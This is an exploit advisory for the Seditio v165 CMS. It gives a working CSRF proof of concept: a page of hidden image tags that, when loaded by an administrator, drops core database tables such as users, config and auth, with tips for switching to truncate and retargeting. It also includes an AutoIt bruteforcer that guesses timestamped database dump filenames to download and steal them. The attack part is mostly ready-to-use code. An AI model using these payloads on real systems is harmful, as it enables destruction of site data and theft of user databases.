=============================================
Vulnerable Software: Seditio v165
Downloaded from: http://seditio-eklenti.com/datas/users/1-seditio.165.rar
(This version is under development of Kaan)
$ md5sum 1-seditio.165.rar
2eebc8d80f7fcd4e9a0d0659ef193488 *1-seditio.165.rar
=============================================
Vuln Desc:
Seditio 165 is prone to CROSS SITE REQUEST FORGERY vuln.
*Because in administration section it uses
T3 DB Tools v1.6 without any $_GET tokenization this is possible without any problem to exploitate CSRF against application and destroy/truncate
database tables*
*Second issuse is seditio 165 stores database dump files in unsafe manner(See below)*
==============================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
-> ;
+-----------+
| version() |
+-----------+
| 5.5.21 |
+-----------+
*/
=================================================
@Print screen after succesfully CSRF attack:
http://s019.radikal.ru/i601/1204/1b/90552af729ad.png
====================== Seditio 165 Drop/truncate Database tables using CSRF vuln ===================================
<h1>Seditio 165 Drop Database tables using CSRF vuln<br>
Because usage of T3 DB Tools v1.6 without any $_GET tokenization in administration section.</h1>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_posts" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_sections" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_structure" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_topics" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165/t/admin.php?m=dbtools&a=drop&table=sed_logger" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pages" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pfs_folders" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pm" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_options" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_voters" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_redirecter" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_trash" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_referers" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_auth" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_banlist" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_com" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_plugins" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_online" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_config" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_core" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_groups_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_cache" width="0" height="0"></img>
<!--IDEA! CTRL+H http://192.168.0.15/learn/128/sed/seditio165/ to target :D-->
====================== EOF Seditio 165 Drop Database tables using CSRF vuln ===================================
You can change &a=drop to truncate statement too
In ex:
<img src="http://CHANGE_TO_RTARGEt/admin.php?m=dbtools&a=truncate&table=sed_forum_posts" width="0" height="0"></img>
Another issuse is: # Theris No .htaccess file to protect database dump files from world (Hint .htaccess =>deny from all<=)
me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# ls -lia
total 93
562949953537506 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:08 .
1407374883669468 drwxrwxrwx+ 1 mehere ???????? 0 Apr 7 03:02 ..
562949953537507 -rwxrwxrwx+ 1 mehere ???????? 370 Feb 12 21:39 index.php
1970324837100442 -rwx------+ 1 ???????? ???????? 91031 Apr 7 03:08 sed165_04.07.12-030823.sql <=== this is my dump
me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# pwd
/cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
#
Since database dump potentially world readable this is possible to bruteforce for existing database dump(s) and steal it.
From scratch and a bit lame but works for me at least it is Proof of concept:
@Print screen bruteforce result:
http://s019.radikal.ru/i614/1204/af/a16616428e18.png
==================== Bruteforcer to find existing database dump file for seditio 165 ==========================
#include <inet.au3>
$prefix='sed165_'; db prefix in most cases sed_
$il='2012'; start year
$ay='04' ; start month
$gun='07'; start day
$site='http://192.168.0.15/learn/128/sed/seditio165/datas/backups/'; //target site
#cs
DO not touch
#ce
$saniye=00;
$deqiqe=00;
$saat=03;
;~ $gun='01'
$il=StringMid($il,3,StringLen($il))
while 1
Sleep(10);
$saniye+=1;
if $saniye >59 Then
$saniye='00'
$deqiqe+=1;
EndIf
if $deqiqe <10 Then
$deqiqe='0' & StringMid($deqiqe,StringLen($deqiqe),1)
EndIf
if $deqiqe >59 Then
$deqiqe='00';
$saat+=1;
EndIf
if $saat <10 Then
$saat='0' & StringMid($saat,StringLen($saat),1)
EndIf
if $saat >23 Then
$saat='00'
$gun+=1;
EndIf
if $gun <10 Then
$gun='0' & StringMid($gun,StringLen($gun),1)
EndIf
if $gun >31 Then
$gun='01';
$ay+=1;
EndIf
if $ay <10 Then
$ay='0' & StringMid($ay,StringLen($ay),1)
EndIf
if $ay >12 Then
$ay='01';
$il+=1;
EndIf
if $saniye <10 Then
$saniye='0' & StringMid($saniye,1,1);
EndIf
;~ format of dumpfile sed165_04.07.12-030823.sql
$fetchitifexists=$prefix & $ay & '.' & $gun & '.' & $il & '-' & $saat & $deqiqe & $saniye &'.sql' & @CRLF
ConsoleWrite('Verifying ' & $fetchitifexists & @CRLF);
if StringInStr(_INetGetSource($site & $fetchitifexists,TRUE),'-- T3 DB Tools',0) Then
MsgBox(0,"Check it out",$site & $fetchitifexists,10)
FileWrite(@ScriptDir &"\wohoooo.txt",$site & $fetchitifexists & @CRLF)
$confirm=MsgBox(65,"Exit or continue?","Exit or Continue?")
if $confirm=1 Then
MsgBox(48,"Bye","Byeeee xD");
Exit
EndIf
EndIf
WEnd
========================== EOF bruteforcer ============================================================
/AkaStep ^_^
